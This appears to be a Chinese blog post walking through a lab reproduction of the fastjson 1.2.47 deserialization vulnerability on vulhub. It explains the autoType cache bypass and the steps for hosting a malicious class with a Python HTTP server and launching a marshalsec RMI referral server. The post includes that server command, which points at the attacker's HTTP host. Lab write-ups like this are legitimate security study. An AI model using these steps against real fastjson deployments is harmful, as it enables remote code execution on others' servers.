fastjson1.2.47漏洞复现

3 篇文章 0 订阅
3 篇文章 0 订阅
文章介绍了Fastjson,阿里巴巴的高性能JSON库,以及在1.2.47版本中的一个安全漏洞。该漏洞允许黑客通过全局缓存和autoType功能绕过安全过滤,执行恶意命令。文中详细阐述了漏洞复现的过程,包括环境搭建、恶意类上传、Python监听和RMI服务的开启,以及利用com.sun.rowset.*恶意类执行命令的步骤。
摘要由CSDN通过智能技术生成

一、fastjson介绍
​在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上可以说是标准的数据交换格式。fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
 

二、1.2.47漏洞复现

        相比1.2.24,1.2.47过滤了许多恶意类的上传姿势以及关闭了autoType,例如双写等绕过,但是并不阻挡hacker的攻击脚步,发现在fastjson中有一个全局缓存,当有类进行加载时,如果autoType没开启,会尝试从缓存中获取类,如果缓存中有,则直接返回。所以可以先上传一个带有恶意类的json数据,让它执行并存入缓存这样就可以实现绕过。

复现过程:

1.搭建环境

        vulhub搭建,进入1.2.47漏洞目录,service docker start (启动docker),docker-compose up -d(启动环境) ,查看端口,docker-compose ps(前提有 docker 以及 docker-compose)。浏览器输入ip:端口。  

 

2.编译java文件并上传一个恶意类

       

 注意:在whoami后面的url地址,是我在dnslog网站接的一个临时域名,为了后续在观察是否恶意命令执行成功。此Java在命令代码部分实现的就是ping这个url地址。

 编译后生成一个class文件,上传到kali的usr目录(其它目录也行)

 

3.开启python监听以及rmi服务(需要下载marshalsec)

开启python监听(在你上传到kali到class的目录),python -m http.server 9998(python3版本)

   

开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动python服务的ip):(启动python服务的端口)/#dnslog” 9999

4.抓包执行漏洞

 a部分就是利用了com.sun.rowset.*****这个恶意类,导致fastjson的全局缓冲的类里面存在这个恶意类;b部分就是利用这个恶意类,在rmi这行中,转向需要执行的rmi服务去执行恶意命令。

 5.复现成功

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值